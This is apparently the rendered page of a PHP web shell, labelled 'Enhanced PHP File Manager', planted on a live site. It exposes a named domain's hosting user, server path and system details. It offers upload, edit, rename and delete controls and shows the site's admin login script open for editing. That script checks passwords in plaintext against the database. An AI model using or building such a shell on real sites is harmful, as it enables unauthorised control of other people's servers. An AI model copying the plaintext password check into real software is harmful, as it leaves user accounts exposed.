Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 5.14.0-611.26.1.el9_7.x86_64

PHP Version:

8.4.15

User:

u892747680

Directory:

/home/u892747680/domains/sisteminformasic.com/public_html/appem/process

Free Space:

9.98 TB

🔧 Quick Actions

✏️ Editing: cek_login_admin.php

<?php
include '../config/config.php';

session_start();

// Tangkap input dengan sanitasi minimal
$user = isset($_POST['username']) ? trim($_POST['username']) : '';
$pass = isset($_POST['password']) ? trim($_POST['password']) : '';

// Cek input kosong
if ($user === '' || $pass === '') {
    ?>
    <script>
        alert('Username dan Password harus diisi');
        window.location = '../login-admin.php';
    </script>
    <?php
    exit();
}

// Gunakan prepared statement agar tidak rentan SQL Injection
$stmt = $koneksi->prepare("SELECT * FROM petugas WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $user, $pass);
$stmt->execute();
$result = $stmt->get_result();
$rowuser = $result->fetch_assoc();

if ($rowuser) {
    // Set session aman & redirect sesuai level
    session_regenerate_id(true); // cegah session fixation

$_SESSION['id_petugas'] = $rowuser['id_petugas'];
    $_SESSION['level'] = $rowuser['level'];

if ($rowuser['level'] === 'admin') {
        $_SESSION['admin'] = $user;
        header('Location: ../admin/index.php');
        exit();
    } elseif ($rowuser['level'] === 'petugas') {
        $_SESSION['petugas'] = $user;
        header('Location: ../petugas/index.php');
        exit();
    } else {
        ?>
        <script>
            alert('Level pengguna tidak dikenali');
            window.location = '../login-admin.php';
        </script>
        <?php
        exit();
    }
} else {
    ?>
    <script>
        alert('Username atau Password Salah');
        window.location = '../login-admin.php';
    </script>
    <?php
    exit();
}
?>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: cek_login_admin.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation